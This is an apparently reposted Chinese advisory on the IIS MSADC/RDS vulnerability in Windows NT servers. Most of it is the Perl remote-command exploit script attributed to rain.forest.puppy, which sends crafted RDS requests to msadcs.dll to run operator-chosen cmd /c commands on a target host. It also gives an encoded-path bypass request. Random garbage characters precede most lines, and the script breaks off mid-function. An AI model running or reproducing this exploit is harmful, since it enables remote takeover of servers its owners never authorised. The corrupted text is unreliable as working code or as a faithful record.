IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
g"_C,XN 0CExY9@Wq 涉及程序:
~I=Y{iM Microsoft NT server
O(Jj|Z !Ng=Yk>3 描述:
~P*4V]L^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/t%u"dP"T~ O9M{ ). 详细:
+A8j@d#: 如果你没有时间读详细内容的话,就删除:
MGpt}|t- c:\Program Files\Common Files\System\Msadc\msadcs.dll
_BM4>r?\ 有关的安全问题就没有了。
f3MRD4+- &&>tf%[ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
P9Q~r<7n !CTxVLl"F 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
J([s5:.[ 关于利用ODBC远程漏洞的描述,请参看:
~B i_7 Q XGrue6ya http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 23\RJpKb S>Yj@L 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
S$q=;" http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'tgKe!-@ hqvE!Of 这里不再论述。
Guw}=l--YR )cJ#-M2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}_'IE1bA XOP"Px@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/ ~%KVe 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
`>C<}xO 2x]>l?
5b `fNpY#QsN #将下面这段保存为txt文件,然后: "perl -x 文件名"
8IQtz2 A7_4.VH #!perl
ZP\M9Ja #
bm~W
EX # MSADC/RDS 'usage' (aka exploit) script
=wWpP-J& #
{Ro2ouQ!V # by rain.forest.puppy
s^Nw%KAv #
- YqYcer # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
rqPo)AL # beta test and find errors!
d*8 $>GA `r"+644 use Socket; use Getopt::Std;
JuR"J1MY getopts("e:vd:h:XR", \%args);
e}Vw!w B!]2Se2G print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/6uT6G+(z} LkruL_E> if (!defined $args{h} && !defined $args{R}) {
&)wiKh"$ print qq~
}Db[ 4 Usage: msadc.pl -h <host> { -d <delay> -X -v }
;ea]$9 -h <host> = host you want to scan (ip or domain)
S^@S%Eg -d <seconds> = delay between calls, default 1 second
j l.p'$Fbn -X = dump Index Server path table, if available
f
3V Dv9( -v = verbose
z
/KK)u(q -e = external dictionary file for step 5
$,=6[T!z+e SvM6iZ] Or a -R will resume a command session
!%+2Yifna jd]s<C3o ~; exit;}
"xI" 2"P99$" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6k{2 +P if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8
;d$54
b if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{'sY|lou if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N[]Hc $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
j`'`)3f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
T3UMCqc= zLs|tJOVp if (!defined $args{R}){ $ret = &has_msadc;
: JzI>/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,j;m!V n9w9JXp;! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`+'rib5 . "cmd /c ";
x9/H/' $in=<STDIN>; chomp $in;
kE>0M9EdH $command="cmd /c " . $in ;
o./.Q9e7 FuG4F if (defined $args{R}) {&load; exit;}
.;y# 'FlJpA} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6=4wp? &try_btcustmr;
[ylsz? nkxzk$ print "\nStep 2: Trying to make our own DSN...";
WG*t::NN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>^q7c8]~g XZ&KR.C, print "\nStep 3: Trying known DSNs...";
geQ{EwO8n &known_dsn;
gTgMqvt MObt,[^W print "\nStep 4: Trying known .mdbs...";
Nk=JBIsKv &known_mdb;
]V %.I_ D0k
8^ if (defined $args{e}){
e0@6Pd print "\nStep 5: Trying dictionary of DSN names...";
H1<>NWm!v7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3~,d+P ]-oJ[5cQ0v print "Sorry Charley...maybe next time?\n";
mK+IEZV<3 exit;
{FRAv(,\ XBd>tdEP ##############################################################################
[b%:.bjY )vmA^nU> sub sendraw { # ripped and modded from whisker
V@>r*7\F sleep($delay); # it's a DoS on the server! At least on mine...
IdYzgDH my ($pstr)=@_;
] h-,o
R?e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ur
:i)~wXn die("Socket problems\n");
?88[|;b3 if(connect(S,pack "SnA4x8",2,80,$target)){
s2?T5oWU select(S); $|=1;
Q~R
~xz print $pstr; my @in=<S>;
tQZs.1=z select(STDOUT); close(S);
&PkLp4mQ return @in;
Y2xL>F } else { die("Can't connect...\n"); }}
}X x(^Zh A(?\>X
9g ##############################################################################
#-pc}Y|< 7g
R@$(1Z sub make_header { # make the HTTP request
hjaT^(Y my $msadc=<<EOT
.s#;s'>g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FMkOo2{ User-Agent: ACTIVEDATA
>fH=DOz$& Host: $ip
u` oq(?| Content-Length: $clen
Fk(JSiU Connection: Keep-Alive
?)bS['^1) |mdi]TL ADCClientVersion:01.06
<%xS{!'} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kb[P\cRa [:xiZ --!ADM!ROX!YOUR!WORLD!
~m|Mg9- Content-Type: application/x-varg
>=]'hyn]] Content-Length: $reqlen
f;/QJ ??n*2s@t EOT
/Q,{?';~ ; $msadc=~s/\n/\r\n/g;
W@yJAQ return $msadc;}
c/B'jPt N`)$[&NG] ##############################################################################
b-3*Nl _%
'9c2Q/ sub make_req { # make the RDS request
jiF?fX@ my ($switch, $p1, $p2)=@_;
4iW'kuK my $req=""; my $t1, $t2, $query, $dsn;
D:Q
21Ch 83;NIE; if ($switch==1){ # this is the btcustmr.mdb query
WL` 9~S $query="Select * from Customers where City=" . make_shell();
D;UV&.$'v $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
S1D@vnZ3O\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
^Rx9w!pAN Vi4~`;|&b+ elsif ($switch==2){ # this is general make table query
SP|<Tny $query="create table AZZ (B int, C varchar(10))";
A
AHt218 $dsn="$p1";}
.uNQBBNv G_> #Js elsif ($switch==3){ # this is general exploit table query
mhW-J6u* $query="select * from AZZ where C=" . make_shell();
)'*5R <# $dsn="$p1";}
&$`yo` DGevE~ elsif ($switch==4){ # attempt to hork file info from index server
,f1q)Qf $query="select path from scope()";
^$&k5e/}C $dsn="Provider=MSIDXS;";}
rDm'Z>nTf ?$e9<lsQq) elsif ($switch==5){ # bad query
VUI|.76g $query="select";
tzy'G"P| $dsn="$p1";}
upeU52@\ Rb(SBa $t1= make_unicode($query);
>J|]moSVA $t2= make_unicode($dsn);
TYI7<-Mp:[ $req = "\x02\x00\x03\x00";
>vuY+o;B $req.= "\x08\x00" . pack ("S1", length($t1));
wvrrMGU)a $req.= "\x00\x00" . $t1 ;
Y?ez9o:/# $req.= "\x08\x00" . pack ("S1", length($t2));
$lhC{&tBV $req.= "\x00\x00" . $t2 ;
Q,&